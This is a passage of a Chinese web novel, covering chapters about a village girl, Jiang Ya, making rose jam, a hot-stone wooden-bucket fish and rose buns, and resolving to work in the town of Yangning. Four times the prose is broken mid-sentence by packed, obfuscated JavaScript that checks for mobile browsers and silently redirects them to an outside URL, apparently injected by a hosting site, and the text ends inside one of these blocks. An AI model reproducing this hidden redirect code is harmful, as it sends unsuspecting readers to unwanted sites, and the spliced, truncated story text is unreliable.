“我要说的不是这个。”刘石榴的眼睛亮晶晶的，在黑夜里更为明显。 姜芽有些摸不着头脑，问：“那你要说什么？直接说便是。” 刘石榴脚尖在泥地上画着圈，有些犹豫的开口道：“上次我跟你说的事……我爹在阳宁镇上做工，你答应帮我去看看他，我就是想问你，什么时候会去镇子上？” 姜芽有些语塞，刘石榴说这事她并不是忘了，只是以现在家中的情况，去阳宁镇只能她一个人，每次想到这儿，她就忍不住有些退缩。 想着刚穿过来的时候，虽然敢跟王氏打架，那也是心里有些底气，知道自己家里人会过来帮忙。 可是要真说自己一个人去个陌生的地方，心里多多少少还是会有些打鼓。 现在刘石榴问的这句话，无疑是再次让姜芽做出个抉择，到底要不要去阳宁镇赚钱，还是就甘心一辈子都在波罗村里研究她能用有限的食材做出来的美食。 要是选择了后者，好像跟她在现代做自媒体没什么区别，努力做了，观众却没有几个，收益和付出也根本不成正比。 想到这，她对着刘石榴挤出个笑容：“放心吧，很快我就会去了。” 刘石榴听到她肯定的回答，声音马上变得欢快了起来：“那就好！你到时记得跟我爹说，我都十岁了，可以读书了！他答应过我做工攒钱就送我去学堂上课的。” 对哦，刘石榴如今都没有上过学，波罗村甚至都没有一个学堂。 姜芽坚定地点点头：“我会跟他说的，到时候让你爹接你去镇子上读书！” 姜芽回到家的时候，只有母亲浦树巧的屋子里还亮着些烛光，她推门的时候，破旧的木门发出“吱呀”一声，浦树巧一听到动静，就赶紧推开房门走了出来。 “娘，你看！”姜芽献宝似的把背篓递到浦树巧面前。 浦树巧把鱼接了过去，找了个盆打了水，将鱼放到盆中养了起来，顺带着夸了她一句 “我的芽芽真厉害！” 姜芽看着弯着腰放鱼的浦树巧，心里想的却还是方才刘石榴和她说的事，她咬了咬唇，终究还是开了口：“娘，我准备过些日子就去阳宁镇上，看看能不能做点挣钱的买卖。” 浦树巧的手一顿，却又马上直起了身子，用指腹轻轻将姜芽脸上抓鱼时溅上的泥土擦了去，声音软下来：“好，娘知道你迟早要去的，快去把脸洗了早些休息吧……” 她似乎并不是很想和姜芽谈论这件事，但又没有阻拦她去阳宁镇上赚钱。 这一夜姜芽睡的并不是很安稳。 直到第二天起来，看到竹筛里的玫瑰花瓣，她才暂时的将注意力都转移到了还没完成的玫瑰酱上。 早就起来的朱红梅看到揉着眼睛的姜芽，打趣道：“芽芽是不是昨晚抓了好大的两条鱼回来兴奋的睡不着了，怎么今天眼圈都这么重？” 姜芽打了个哈哈：“才没有！我是想着我的这个玫瑰酱，三嫂，你没事的话来帮我一起弄吧。” 朱红梅本身就对这玫瑰酱的做法好奇的很，听姜芽这么一说，赶紧走过来帮忙：“大嫂二嫂今日都去地里了，地里近日也不忙，我左右也没什么事，来一起弄！” 两人把已经还带着些水气的花瓣放到盆里，先是把大一些的花瓣逐片的撕的小一些，再烧了些水倒在盆中，花瓣被热水一泡，颜色瞬间有些发白，倒像是褪了色一般。 玫瑰的味道倒是马上就被热水激了出来，温热的带着玫瑰的热气马上冲着两个人的脸扑了上来。 泡了大概一炷香的时间，看着热水已经没冒白气了，姜芽跑到柜子里，将粗糖倒入盆中，把花瓣都覆盖住，再和朱红梅两人一起把盆放到火上开始熬煮。 虽说都是粗糖，可在热水里没一会儿就化了，和花瓣混在一起，倒像给花瓣裹了层透明的糖衣。 姜芽赶紧给朱红梅递了个勺子，两人一人一把勺子，在盆中不断的搅动，让花瓣和糖汁更快的融合在一起。 等花瓣熬煮的粘稠，已经看不到任何粗糖的颗粒，姜芽就将盆从火上抬了下来，此时的花瓣已经熬成了泥状，颜色甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391099|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至比最开始的花瓣颜色还要深些。 她用手中的勺子舀了一勺，再慢慢的倒回去，花泥挂在勺上，缓慢的往下流动。 差不多了！姜芽拿出一个柠檬切成两半，往里面挤了些柠檬汁，再搅动了一番。 黑红色的玫瑰酱现在闻起来就是甜滋滋的，朱红梅也用勺子挖了一勺出来，放到鼻前深嗅了一口：“这东西闻起来就甜，该有多好吃啊！” 姜芽把几个瓷瓶掏了出来，把玫瑰酱往里面装：“肯定好吃，不过一般来说这还得存放腌制一段时间才会更香，不如你现在先用你那勺冲碗水试试看？” 朱红梅赶紧拿了个碗，把勺子连着玫瑰酱放到碗里，再倒了些温水进去，玫瑰酱顺着温水慢慢舒展开来，水上飘着些糖浆的痕迹，整杯水渐渐变成了淡淡的粉色。 她先是闻了闻，然后抿了一口玫瑰水：“芽芽，这水带着玫瑰的香气，还有些甜，但是怎么有些涩口？” 姜芽看着朱红梅皱起的眉头，笑道：“所以还是得再腌上几天，我刚挤进去的柠檬汁也是能去涩味的，到时候这涩味基本就喝不出来了，只剩下香甜。” 朱红梅把那碗玫瑰水一饮而尽：“那我知道了，这玫瑰酱的涩味一旦没有了，泡水就会好喝极了，要是拿出去卖，肯定比之前的薄荷水还要受欢迎！” 姜芽把玫瑰酱严严实实的压实在陶瓷罐子里，往上面厚厚的抹了一层蜂蜜封层，再把罐口紧紧的封住。 “这玫瑰酱我可不打算拿来做玫瑰水，我还有更好的做法！到时能用这个做些香甜的饼子吃！” 朱红梅也上前帮她把玫瑰酱装罐，嘴也没停的说：“还是你主意多，用鲜花做吃食，我可从来都没有见过，到时你做那什么饼子，可一定要叫上我一起做，让我也跟着你学一学！” 姜芽朝朱红梅做了个鬼脸：“好好好，倒是大嫂二嫂和三嫂你一起来学！说不定以后咱们姜家的吃食在阳宁镇都是响当当的名号了呢！” 两天的时间，新鲜的玫瑰就被姜芽从鲜花做成了鲜花酱。 所有的酱都装好密封好之后，姜芽寻了个阴凉处把罐子都放到了一起，双手叉腰看着自己的杰作。 朱红梅拍拍手：“咱们这玫瑰酱也做的差不多了，你要是累了今天的饭就交给我来做吧！反正我看着你做自己学到了不少，今天我就来炒个老奶洋芋。” 姜芽本想答应，却突然想到了昨天晚上和刘石榴抓到的两条鱼，赶紧说：“不不不！三嫂你的厨艺还是改日再发挥吧，我今天给你们做个你们从来没有吃过的鱼！” 朱红梅捂着嘴笑：“你做的什么都是我们没吃过的，那就交给你了，我去地里看看他们有没有什么要我帮忙的。” 姜芽应了一声，小跑着就出了厨房去倒腾那两条鱼去了。 朱红梅看着她的背影，小辫子都扬起来在空中一甩一甩的，倒是可爱得很。 “你这丫头，一做到自己喜欢做的事，倒是一点也不会累了……” 19. 鹅卵石木桶鱼 家中的男人都会些木工，但要说手艺，还是姜芽的爹姜齐飞的手艺最好。 早在前些日子，姜芽就已经请姜齐飞给她做了一个木桶。 那木桶做出来的时候，全家人都以为姜芽是想换一个洗脚盆，却见她拿到那木桶之后，先是仔仔细细地把桶洗了个干净，又往里面装满了水看看会不会漏水。 检查完了之后，并没有把桶放到房间，而是转身收进了厨房。 那时候姜文毅还曾嘱咐姜芽：“芽芽，你做什么二哥都爱吃，只是你可千万别做什么洗脚水才能做的菜啊，我虽贪吃了些，但也不至于非要喝洗脚水。” 姜芽拍拍那厚实的木桶，桶带着些木头的清香，桶身上还有些细密的木纹，一看就是姜齐飞用心挑选的木头给她做出来的。 “二哥你就等着吧，到时你就知道这木桶的用处了！” 当时说了这话之后，却总是因为想着做这个菜那个菜的，不知不觉就把这放在角落的木桶忘了。 昨夜和刘石榴运气好抓到了两条鱼，恰巧做好的玫瑰酱还暂时用不上，姜芽才想起来，先前准备好的木桶现在正好能派上用场了。 她拎着木桶去往河边，将这木桶浸在水里，把桶上和内里的灰冲洗干净，再把桶倒立起来，想着让水滤得快一些。 却没注意到她在村中唯一的死对头王氏，正挑着两个桶来河边打水。 “哟，这不是姜芽吗，怎的上次打了婶婶我，就再没见着你，你说说，人家都说，都是一个村的，抬头不见低头见，你倒好，是不是整日都躲着我，还是直接躲在家中不敢见人了？” 姜芽正蹲着看着自己的木桶往下滴着水，听到王氏的声音，头也没抬的说：“怎的，老婆娘，上次打你还没打够？” 王氏的脸色一阵青白，嘴上却也不饶人：“你看看，我给你介绍的好亲事你不去，如今听说只能日日在家中做些饭菜，想着讨好了家里人的嘴，人家才不会将你赶出去是吧？” 姜芽抬头看看晴好的天气，想不通这王氏今天是吃错了什么药，非要围着她嗡嗡叫。 她将木桶稳稳当当的倒扣在了岸边，站起来撸撸袖子：“看来是上次真没被打够……” 可她还没动手，就听王氏“哎哟”一声，捂着后脑勺跳了起来，一个胖墩墩的小身影从王氏背后溜出来，手里还攥着块小石子，正是刘石榴。 王氏叫骂着转身：“哪家的小死孩子！等老娘我抓到你的！” 姜芽咯咯咯的笑出了声，拎着桶就往自己家走，还顺带揶揄了王氏两句：“你看看，在咱们波罗村里，你是得罪了多少人？也可怜你那夫君，整日跟在你背后给你擦屁股。” 王氏在后面骂的越凶，姜芽在前面笑的就越欢快。 她哼着小曲转过一堵矮墙，果然，刘石榴已经等在那里了。 “你小子，扔的还挺准的。”姜芽抱着桶，看着脸上还带着些气的刘石榴。 刘石榴捏着手里的石头，抬头说：“之前她就欺负你，今日她还欺负你，那我就要替你报仇！” 姜芽伸手摸了摸他的头：“这还差不多，不愧是我石榴弟弟，走，带你回家做木桶鱼去！” 本来因为王氏的一顿鼓噪还有些烦躁的心情，现在也好了许多。 刘石榴更是，看到姜芽好像是要用手里拎着这个木桶做吃的，马上来了兴趣，小跟班似的跟着姜芽就往她家去了。 只留下王氏在河边对着自己打水的两个水桶狠狠的踹了一脚泄愤。 走到半道，姜芽却突然想到了什么，带着刘石榴走往村口，那里有一颗矮小的野花椒树，树上结了些青色的野花椒。 “有这个才是灵魂！”姜芽伸手扯了几串，连带着手上都是野花椒的清麻味。 —— 二人回到家时，朱红梅已经将火生好了，看到刘石榴也招呼道：“石榴也来啦！” 刘石榴很懂事的应了一声：“我来帮姜芽姐做饭。” 姜芽把木桶放到院中的桌上，把手上浓浓的花椒味洗了去，麻利的从盆中拎出那两条鱼，放到案板上，先用刀把朝着鱼脑袋敲了几下，才开始把鱼鳞刮干净剖开，将里面的内脏都掏出来放到一边。 清洗干净之后，她将半边鱼身平整的放在案板上，用刀刃紧紧的贴着鱼骨，从鱼尾处往前划，刀是刚磨过的，切鱼片正好，她只轻轻一划，雪白的鱼肉便像树叶一样从鱼骨上分离了出来。 两条鱼一共也就片出了一盘子鱼片，姜芽把鱼片整整齐齐的码放在盘中，吁了一口气，想要把鱼片片的薄一些，还是要有些功夫的。 鱼片准备好之后，姜芽拿了口铁锅挂到烧的正旺的火上方的钩子上，在锅中倒油，等油烧热了，就往里面放了几瓣蒜随便翻炒几下爆出香味，接着就往里面倒入满满的清水。 等着锅中水开的时候，她又将刘石榴带她找到的那些鹅卵石找了出来递给刘石榴 “你在院中生个火，那边有个小锅，用小锅把水烧开之后，把石头放到里面煮。” 刘石榴没多问，只拿着石头就出了厨房，按照姜芽的交代，在院中开始生火煮起了那些石头。 朱红梅有些不可置信，看看屋外的刘石榴，又转头问姜芽：“芽芽，你该不会是在逗那小孩子玩吧？还是说那石头真能吃？” 姜芽往锅中扔了两串青色的花椒，笑：“我没逗他，那石头也不能吃，只是吃鱼用得上。” 等锅里的水冒泡沸腾了起来，姜芽又往里面丢了些辣椒、胡萝卜，还有新鲜的土豆块。 “三嫂，你帮我看着锅，不用怎么搅动。”她把锅交给朱红梅，转身出了厨房，去看刘石榴煮的石头了。 恰巧家中的人现在都回来了，先是闻到一阵鲜香的麻辣味，再一看，只看到刘石榴面前小锅里煮着的鹅卵石。 姜文毅瞪大了眼：“芽芽这是在做什么，这香味该不会是从这石头里煮出来的吧？” 姜芽笑着走过去，把煮石头的锅中的水倒在一边，再将石头倒入木桶，把木桶底铺的严严实实。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394846|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “二哥，今天就用这木桶给你吃点新鲜的!” 说着，她就把放在一旁的鱼头和鱼骨倒入桶中，接着再把鱼片铺到滚烫的石头上，鱼肉碰到石头，竟发出了滋啦的响声。 姜芽小跑着进了厨房，正好锅里烧的汤也烧的滚烫，她用两块抹布抬起锅，小心翼翼的出门，将锅中的汤全倒进了木桶。 木桶里瞬间喷涌出大量白气，野花椒的麻劲也跟着白气飘出来，从白气里隐约能看见，就算没生火，桶里的汤也一直在沸腾。 姜芽把草盖子盖住木桶，拍了拍手：“好了！再等一下下就可以吃了！” “你是说，这鱼不用煮就能吃？”王迎春凑近闻了闻，倒是从来没有闻过的味道。 姜芽把一只手放到木桶边上，隔着木桶也能感觉到桶内的热气。 “对，那石头耐热，先把鱼片放到石头上，再把煮好的热汤倒进去焖一会儿，就可以吃了。” 姜文和忍不住称赞：“芽芽，你这个想法真是天马行空，我看了那么些书，都没有看到过鱼还能有这种做法。” 姜芽有些不好意思的笑了一声，也不能说这个也是自己在视频里学到的，只能拍拍身边的刘石榴：“快去叫你娘一起来吃。” 姜芽把桶盖揭开时，桶内的热气带着香味马上扑在了她的脸上，桶底的石头还烫着，所以桶里的汤还时不时的冒个泡。 烫熟的鱼片都卷起了边，颜色从一开始的有些透明，变成了实实在在的白，带着汤面上飘着的油花，让在座的人都忍不住流口水。 姜芽往里面撒了一把薄荷：“快动筷吧，这鱼汤也是很好喝的。” 姜文兴先盛了一碗汤，里面带着些煮得软烂的土豆，他对着鱼汤吹了口气，喝了一口，首先喝到的是鱼汤的鲜甜，接着花椒的新鲜麻味就爬上了舌头，似乎还带着些木头的清香。 “这汤真好喝！别说鱼了，就是没有鱼，这个汤鲜辣但是一点都不油，就着饭也能吃下不少！”他毫不吝啬对这碗鱼汤的夸赞。 本来用木桶和石头做鱼就已经新奇得很了，这味道也好的不行，每个人都把碗里的汤喝的干干净净。 姜文毅喝了汤，又赶紧夹了一片鱼片，鱼片把汤汁吸的足足的，只是一嚼，鲜汁就在舌尖蔓开，整个嘴里都是鱼肉的鲜嫩和汤汁的鲜辣。 趁着桶中的汤还烫，姜芽又往里面扔了把青菜：“鱼不够吃，咱们今日就就着这个汤煮些土豆青菜吃吧。” 青菜只需烫一会就能吃了，吸满了鱼汤，咬一口汁水更甚，要是喜欢这个鲜辣味的人来吃，只会觉得用这汤烫出来的青菜，一点都不输给木桶里的那些鱼片。 饭后，姜文毅主动地做起了清洗木桶的活，他一边洗一边说：“没想到这石头和木桶还真的有这种用处，芽芽，改日我去河里摸鱼，你再多做些这个行不？” 姜芽抬头看了看天边的夕阳，夕阳比起朝阳，总觉得多带了些暖意 “行啊，只要二哥你能抓到鱼，我就给你们做。” 20. 鲜花花卷与鲜花馒头 姜芽已经把离开波罗村这件事提上了日程，只是因为不知道怎么开口的原因，还没有跟家里的人说。 这几日，她总在想该给家里人留些什么简单好卖的小吃。 思来想去，还是觉得之前做过的芋圆合适；至于爹说的面食，她瞥了眼厨房密封好的玫瑰酱，心里已有了主意。 先前从阳宁镇上买回来的面粉还没怎么用上，而今天为了做这个，她天没亮就起了床，轻手轻脚的走进院中，将那几棵玫瑰树上剩下的玫瑰摘了几朵下来。 再回到厨房，把放在柜子中的面粉找了出来，看看摘回来的玫瑰，心中大概估算了一下，从面粉袋子里舀了几勺面粉放到盆中。 新鲜的玫瑰花上还带着些露珠，姜芽把花朵简单的冲洗之后，把花瓣仔仔细细的摘了下来再轻轻的撕成小条，花蕊放到一边。 别看花没几朵，这一片一片的撕下来，她的手都被染上了些玫瑰汁，撕花瓣的几个指头都变成了玫红色。 将撕好的花瓣放到干燥的面粉中，她又拿出一罐玫瑰花酱，把罐子口的绳子解开，再揭开封口，还没看清罐中的玫瑰花酱，就先闻到了一阵香甜。 玫瑰花酱在这些天的腌制下，已经变得粘稠，裹着糖浆，像是给深红的玫瑰花瓣镀上了一层几乎透明的蜜蜡。 她用干净的勺子轻轻的舀了一勺，里面的糖汁都拉出了一条长长的丝，看来这次的玫瑰见做的还算是成功。 把那勺子玫瑰酱也放到面粉中，姜芽拿了块酵头用水化开放到盆中，再倒了些温水进去。 接着她用手把面粉、新鲜玫瑰和玫瑰酱揉成一个面团。 面粉充分吸收了新鲜玫瑰的浆液和玫瑰酱的糖汁，在姜芽的手下，逐渐变成了一个粉色的面团。 这时候的面团还有些硬，她拿了块薄布盖到盆上，想着让面团稍微的醒发一下。 等着面团醒发的姜芽坐在小矮凳上，手杵在腿上撑着自己的下巴，可能是没睡够的原因，有些出神。 连张春兰什么时候走到她身后她都没有发现。 “芽芽。”张春兰轻轻拍拍姜芽的肩，姜芽被吓的从矮凳上跌坐到地上。 看清楚背后的人是张春兰，她才拍着自己的胸脯大口喘着气：“二嫂！吓死我了，你怎么走路都没有声音的！” 张春兰披着外衫，嘴上带着笑将她扶了起来：“什么我走路没有声音，我看你背对着我坐着，还特地走路走的重了些，谁知道你这小妮子心里在想什么事想的这么出神，这都没发现。” 姜芽拉着张春兰的手站了起来，指指正在一边醒发的面团。 “我在做玫瑰花卷和玫瑰馒头呢，二嫂，你既然已经起来了，要不就跟着我学一下，以后有空了，再教给家里人做，到时拿出去也能卖些钱的。” 张春兰先是面带喜色的应了下来：“好啊，只要你教，我肯定是愿意学的，这玫瑰是我看着长大的，现在能派上这么多用场，我心里也开心。” 接着又好像想到了什么，有些狐疑的看着姜芽：“芽芽你方才说，教会我以后我能教给家里其他人，这话是什么意思？你以后不在家了？你有心上人了？是哪家的儿子，说给我听听，我得先去看看那家人人品如何，可不能随便就让你嫁了。” 姜芽哭笑不得的拉住张春兰的手说：“二嫂打住打住！我才不是有什么心上人了，我是想着我力气小，在家里也干不了多少活，只能做些吃的，所以想去阳宁镇找点事做。” 张春兰恍然大悟，却又说：“家中又不是养不住你了，你一个小姑娘家家的，在镇子上万一受欺负了怎么办？再说了，你不是说这玫瑰花卷和玫瑰馒头也能拿出去卖吗？怎的非要去镇子上做工？” 姜芽握着张春兰的手又紧了些，眼睛亮闪闪的：“二嫂，我想去大些的地方，做更多菜，让更多人吃到我做的饭……” 张春兰看着她稚嫩的小脸上满是坚定，自知也劝不住她，只能说：“家里的人不需要你想这么多，只是你要是真的想好了，爹娘也同意了，那你便去，我们得空了也会去镇上看你。” 姜芽点头，气氛不知怎的变得有些怪，她向来不喜欢这种感觉，只能扭头看着那装着面粉的盆。 “面应该发的差不多了，来！我们一起做！” 她把面团取出来，在案板上撒了层面粉，将面团放上去用力揉。 醒发后的面团软了不少，姜芽揉了会儿就换张春兰接手，两人合力把这裹着花瓣的粉色面团揉得光溜溜的。 张春兰凑近闻了闻：“倒是不怎么闻得到玫瑰花的味道。” 姜芽把面团拍的啪啪响：“现在是不怎么闻得到，我放的花也少些，但待会蒸出来你就能闻到花香了。” 说完之后，她两只手把面团一分为二，和张春兰一人一团再次将面团揉好，再把自己面前的面团用擀面杖擀成的薄薄的一块，看起来像是块粉色的布躺在案板上。 “这颜色真漂亮！”姜芽夸了句，往擀好的粉色面皮上抹了点油之后，把面皮从上往下卷成了一条紧实的长条。 接着她用刀在长条表面认真切出细细的纹路，但只是切的表面，并没有切断，等整个长条的表面都切除了细丝之后，再切成约莫巴掌大小的小段。 她拿起一段，将小段轻轻拉长，再把拇指放在中间，食指往小段面团两侧轻轻一拧，粉色的面皮翻出细碎的花瓣，一个带着纹路的花卷就成了。 张春兰本来就会做花卷，倒是做的还比姜芽快些，没花多少时间，那些切好的小段就变成了一个个粉色的夹着花瓣的花卷。 另一半面团是用来做馒头的，二人将面团分成数个小面团，再将小面团揉成一个个圆球，个个面团都胖嘟嘟的。 姜芽拿了根签子，从玫瑰酱的罐子中挑出一点点玫瑰酱，往每个面团上都点了几滴，这样蒸出来的馒头还会比现在好看许多。 蒸笼在前阵子才新修的灶上冒起阵阵白烟，水汽裹着面香和玫瑰的香气飘满了整个厨房。 天色渐亮，家中的人也起了床，看到厨房里的动静，都进来看看姜芽今日又在做什么新吃食。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401883|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张春兰添着柴跟想掀起蒸笼盖看看的姜文毅说：“别急，待会有的你吃！” 姜文毅搓着手，坐到张春兰旁边：“你看，我买这玫瑰花是不是用处大了去了，如今不仅能做酱，还能做这些花卷馒头的！” 张春兰推了他一把，将手上的柴塞到他手上：“那你就赶紧给你的花卷馒头添添柴吧。” 蒸得差不多时，姜芽够不着蒸笼盖，张春兰便上前掀开，大量蒸汽瞬间喷到张春兰的脸上。等白汽稍散，笼屉里花卷的模样就清晰了起来。 本来有些紧实的花卷涨出了一倍大，看起来就蓬松极了，裹着的玫瑰也被蒸的颜色变得鲜艳了很多，甚至比刚摘下来的新鲜玫瑰还要鲜艳些。 下一层的馒头更是好看，胭脂粉色的馒头个个都圆圆胖胖，顶部的玫瑰酱被蒸的化开，化出的糖汁顺着馒头往下流，花香味也十分浓郁。 “快，趁热吃！”姜芽吹着气拿了个馒头，拿在手里软乎乎的，掰开一看，连同着馒头内里都是粉色的，还夹着些细碎的花瓣， 她轻轻咬下一口，还有些烫的馒头带着花香和顶上的那一点点玫瑰酱的甜从舌尖蔓延，不似糖那般甜腻，反倒带着些天然的清香。 张春兰拿了个花卷，花卷上的丝被姜芽切的细细的，咬一口还能带起一些花卷丝，蓬松的花卷连同着花瓣进到嘴里。 她吃到了花香味，忍不住夸了句：“芽芽，你说的还真是，面团的时候闻不到太多的花香，现在蒸熟了吃到口中倒是能吃出许多香气。” 姜文毅左手馒头，右手花卷，吃的更是满足。 花卷馒头这种面食，顶多吃上几个也就能把肚子填满，家里的人都吃的差不多了，笼屉里还剩了不少。 姜芽用篮子把剩下的花卷馒头放到篮中，找了块干净的布盖在上面。 “我把这些剩下的拿到村里卖一卖，看看大家喜不喜欢吃！” 说着就挎着篮子出了门，张春兰看着她的背影，又看看吃的开心的家里人，犹豫再三还是开了口：“芽芽都跟你们说了么？她想自己去阳宁镇闯一闯。” —— 姜芽先是去了刘石榴家，每样都给了他两个，让他和他娘都尝尝，然后才挎着篮子走在村里，天色已经大亮，家家户户都已经起了床，正准备开始一天的劳作。 她清了清嗓子，学着以前在电视剧里看过的桥段，大声吆喝了起来：“花卷！馒头哎！新鲜的鲜花花卷馒头！四文钱一个嘞！” 要说这个馒头的价格，姜芽本来还是想往上抬一抬的，只是想着现在在波罗村，大家普遍都没什么钱，所以特地少放了些玫瑰，这样就算卖四文钱也还是有得赚。 她边走边吆喝，清脆的声音在清晨安静的波罗村显得尤为大声。 “什么是鲜花馒头，我看看？”李婶从自家院中走出来，看着姜芽臂上挎着的篮子，好奇的走过去问。 姜芽赶紧将布掀开一角，露出些粉色的花卷：“李婶，买两个尝尝吧？我做的这鲜花花卷、鲜花馒头，可是阳宁镇上都买不到的美味！” 21. 砂锅臭豆腐（一） 李婶看到篮中粉色的馒头，本就觉得新奇，加上姜芽的卖的也不贵，就往院里唤了一声 “拿八文钱出来，尝尝姜芽做的这什么鲜花馒头。” 她要了一个馒头一个花卷，姜芽从随身兜里掏出张油纸，把两样东西仔仔细细包好，递给她。 “李婶你拿好！尝尝我做的这个味道如何。” 李婶把东西接了过来，却没有马上吃，而是拿着馒头在手上仔细的看了看，眼中满是好奇。 “你这花卷中好像真的包了些花瓣，还有你这馒头上，怎么还流汁的？” 姜芽把剩下的花卷馒头仔仔细细的盖好，有些骄傲的说：“那肯定是有鲜花的，您尝了就知道了，味道也有花香味呢。” 李婶把馒头递给她的儿子，自己尝了一口花卷，眼睛马上亮了起来 “还真有花香，带着一点点甜，倒不像是放了糖的那种甜。” 见今天的第一单收到了好评，姜芽咧着嘴笑起来：“您喜欢就好！以后我们还会卖，您听到吆喝声出来买就好！” 没成想，李婶却拉住了准备离开的她：“小姜芽，我再买几个，这晚上蒸一下也能吃。” 姜芽却有些俏皮的眨眨眼，拒绝道：“今天我做的不多，就只卖这两个啦，其他的还要往其他家去卖一卖，等下次拿出来卖的时候您就可以多买一些了。” 倒不是想做什么饥饿营销，只是她今天做的确实不多，心里打算的也是让村里的人都尝尝味道，要是大部分人都愿意为这个鲜花花卷和馒头买单，那之后家里人要是接着买这个也能方便些。 “鲜花花卷馒头嘞！！！”她声音越来越大，全然没有了第一声吆喝之前的害羞。 果然如姜齐飞所说，这面食便宜些，又能饱腹，比之前的薄荷水好多了，没多久满满当当的竹篮子就已经卖空了。 甚至有好几家人和李婶一样，都想多买一些回家放着吃。 眼看着手中空空的篮子，姜芽的心情也好得不得了。 她一只手甩着空竹篮，迈着轻快的步子往家走。经过刘石榴家门口时，见那孩子早等在那儿，一看见她就往篮子里塞了把大芫荽，说是他娘让送的。 姜芽美美的把芫荽收下，道了声谢，才快步进了自己家门，想要赶紧把这个好消息分享出来。 只是刚进家门，她就察觉到家中的气氛有些不对劲，但又说不上是哪里不对劲。 一家人齐齐整整的坐在院中，好像就是在等她回来。 她把大芫荽放到一边，把空篮子高高的举起。 “看！我就出去了一会，咱们做的这鲜花花卷馒头就已经卖完了！以后就可以多做一些拿出去卖了，等咱们家玫瑰开的多了，还可以挑着去其他村上卖！” 姜文和抬头看了她一眼，有些欲言又止，想了想又低下头没说话。 姜文毅两手揣在袖子里，蹲在墙角一个劲叹气，时不时抬眼看一眼姜芽，也不知要说什么。 王迎春看着姜文兴，扯扯他的袖口，似乎是想让他先开口，姜文兴却坐在矮凳上，没吭声。 “你们这是怎么了？怎么都不说话？”姜芽放下篮子，挠挠头，有些摸不着头脑。 还是朱红梅性子直些，看着一家人都不说话，哎呀了一声，一把将姜芽拉到自己面前，面色严肃：“芽芽，听说你准备去阳宁镇做工？” 原来是因为这事啊…… 姜芽看看自己的娘，又看了看二嫂张春兰，不知道是她们谁没忍住先将这事说了。 不过也正好，她自己也正愁要怎么跟家中的人开口。 “对呀，我确实是在准备去阳宁镇，上次买我菜的那个食肆老板当时也说了，我要是想去阳宁镇，可以去他那里的。” 姜齐飞把手中的木头搁到地上：“芽芽，你娘跟我说过这事了，只是爹一直没问你，一边是想着舍不得你，怕你自己去了镇子上受了委屈，但又觉得你有那么好的手艺，总是待在咱们村确实也不是事……” 姜芽看着自己平日里沉默寡言的爹，皱皱鼻子说：“爹，阳宁镇我肯定是要去的，我也会经常回来的，您放心。” 姜文毅见大家都说开了，才大着嗓门说：“芽芽啊，你去镇子上了，我岂不是又要天天吃些一样的菜了，这也忒没劲了，要我说，你就好好在家，二哥多做些活也定不会让你饿了肚子！” “二哥你看你说这话！”姜芽小脸上都是笑：“我做的菜几个嫂子也都会了，到时就是换着花样做，你也吃不腻，再说了，我又不是不回来了！” 姜芽的话说的坚定，家里人除了不放心，其实心里都知道她既然已经决定好了，那便是怎么劝也没有用的。 浦树巧叹了口气，伸手招呼姜芽到她面前来。 姜芽从朱红梅怀中站了起来，蹲到浦树巧的面前，乖巧的喊了一声：“娘。” 浦树巧摸摸她的头：“娘知道，你迟早都要去的，既然决定了要去，就要知道，自己一个人在外，凡事都要小心，别在阳宁镇上还动不动就跟别人动起手来。” 姜芽笑嘻嘻的应了：“我知道的娘，等我去了镇上，就好好做饭，好好赚钱，到时候把你们都接到镇上去！” 姜齐飞看了看自己的几个儿子，稍微想了一下才说： “文毅，这次你送芽芽去吧，到时也不必急着回来，把芽芽安顿好了再说。” 姜文毅听到叫的是自己，赶紧拍着胸脯保证：“放心吧爹，我送芽芽去那肯定是会安顿好她再回来的。” 姜芽看到朱红梅眼中闪过了一丝失望。 她想起了上一次去阳宁镇时三哥跟她讲的故事，还有回来之后自己承诺给朱春兰的话，说下次会带着她一起去。 “爹，娘，要不让三嫂送我去吧，倒是没找到住处之前，我和三嫂还能一起住一间房，省些钱。三嫂的性子也不会让我受委屈的。” 姜芽说玩，还朝着有些惊讶看着她的朱红梅眨眨眼。 姜芽说的有理，姜文毅也爽朗一笑：“也是，弟妹送芽芽去比我送着去好像真是方便些。” 姜文和看看朱春兰，自然知道自己媳妇的心思。 姜齐飞见大伙都没有异议，点点头说：“那就春兰送着芽芽去，芽芽，既然你决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 